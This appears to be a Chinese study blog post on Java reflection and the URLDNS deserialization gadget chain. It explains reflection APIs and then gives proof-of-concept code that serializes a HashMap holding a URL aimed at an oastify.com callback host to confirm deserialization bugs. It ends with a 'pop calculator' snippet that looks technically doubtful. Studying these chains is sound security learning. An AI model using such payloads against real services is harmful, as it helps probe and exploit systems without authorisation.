Java反序列化基础2——java反射+URLDNS链
参考文章
Java反序列化基础篇-02-Java反射与URLDNS链分析
Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)
在前一篇文章中我们已经已经总结了java反序列化的分析思路并且简单分析了URLDNS链,但由于缺乏java反射的知识,最后的poc还没有搞出来
继承Serializable
入口类source:(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带)例如Map类
调用链 gadget chain 相同名称,相同类型
执行类sink (rce ssrf文件等等)最重要 比如exec这种函数
反射理解
Java的反射机制是指再运行状态中,对于任意一个类都能够知道这个类所有的属性和方法;并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能称为Java语言的反射机制。
看一下代码
正射:
我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。
Student student = new Student();
student.doHomework("数学");
反射:
反射就是,一开始并不知道我们要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了
Class clazz = Class.forName("reflection.Student");
Method method = clazz.getMethod("doHomework", String.class);
Constructor constructor = clazz.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, "语文");
以上两段代码,执行效果是一样的。
但是,其实实现的过程还是有很大的差别的:
第一段代码在未运行前就已经知道了要运行的类是
Student
;第二段代码则是到整个程序运行的时候,从字符串
reflection.Student
,才知道要操作的类是Student
。
总结:
反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。
java反射的作用是什么?
给作为静态语言的java赋予动态特性,比如说:改变已有对象的属性,动态生成对象,动态调用方法,操作内部类和私用方法。
Java Class对象理解
首先 RTTI(Run-Time Type Identification)运行时类型识别,其作用是在运行时识别一个对象的类型和类的信息。
Java是如何让我们在运行时识别对象和类的信息的?
主要有两种方式:
传统的RRTI,它假定我们在编译时已经知道了所有类型
反射机制,它允许我们在运行时发现和使用类的信息
我们程序在运行的时候会编译生成一个 .class 文件,而这个 .class 文件中的内容就是相对应的类的所有信息
Java反射使用方法
获取类:forName
实例化类对象:newInstance
获取函数:getMethod
执行函数:invoke
java反射就是操作Class
实例化对象
先有它的原型再调用它的方法
获取class对象
获取方式 | 示例 | 特点 |
对象.getClass() |
| 获取对象运行时类型(考虑继承和多态) |
类名.class |
| 获取编译时类型,不触发类加载 |
Class.forName() |
| 通过全限定名获取,会触发类加载 |
使用Constructor.newInstance实例化对象
有参构造
Class c=person.getClass();
Constructor personconstructor= c.getConstructor(String.class,int.class);
Person p=(Person) personconstructor.newInstance("abc",22);
无参构造
Class<?> clazz = Class.forName("com.example.MyClass");
Constructor<?> constructor = clazz.getConstructor();
Object instance = constructor.newInstance();
获取类里面属性(Field)
获取成员变量Field位于 java.lang.reflect.Field 包中
Field[] getFields() :获取所有 public 修饰的成员变量
Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符
Field getField(String name) 获取指定名称的 public 修饰的成员变量
Field getDeclaredField(String name) 获取指定的成员变量
调用类里面的方法
第一个参数是传参,第二个参数是确定重载的是哪个函数
Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法
Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法
//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型
Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法
Method[] getDeclaredMethods() // 获取该类中的所有方法
完整示例
package org.example;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class TestReflection {
public static void main(String args[]) throws InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException {
Person person=new Person();
Class c=person.getClass();
//反射就是操作Class
//从原型class中实例化对象
//c.newInstance();
Constructor personconstructor= c.getConstructor(String.class,int.class);
Person p=(Person) personconstructor.newInstance("abc",22);
System.out.println(p);
//获取类里面属性
Field[] personfields=c.getFields();
for(Field f:personfields){
System.out.println(f);
}
//调用类里面的方法
// Method[] personmehods=c.getMethods();
// for (Method m:personmehods){
// System.out.println(m);
// }
Method actionmethod=c.getMethod("action",String.class);
actionmethod.invoke(p,"dasgjfasgh");
}
}
URLDNS链
先 回顾一下上次留下的问题
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
//这里不要发送请求
hashmap.put(new URL("http://7v3spzdbjo1uiz4h1b0013qufllb90.oastify.com"),1);
//这里要把hashcode改回-1
//通过反射改变一个已有对象的属性
HashMap a=new HashMap<>();
//System.out.println(person);
serialize(hashmap);
}
这里的问题是再序列化的过程中由于使用了hashmap.put这个方法会调用hashcode触发dns,并且会改变hashcode的值,使其不为-1,从而让反序列时不能输出dns
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://8dmp5g4lqv4ojwh0g0cesf8sijoacz.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}
利用反射弹计算器
public class ReflectCalculator {
public static void main(String[] args) throws Exception {
// 获取Desktop类的getDesktop方法
Method getDesktop = Class.forName("java.awt.Desktop")
.getMethod("getDesktop");
// 调用静态方法获取Desktop实例
Object desktop = getDesktop.invoke(null);
// 获取browse方法并调用打开计算器
desktop.getClass()
.getMethod("browse", java.net.URI.class)
.invoke(desktop, new java.net.URI("calc"));
}
}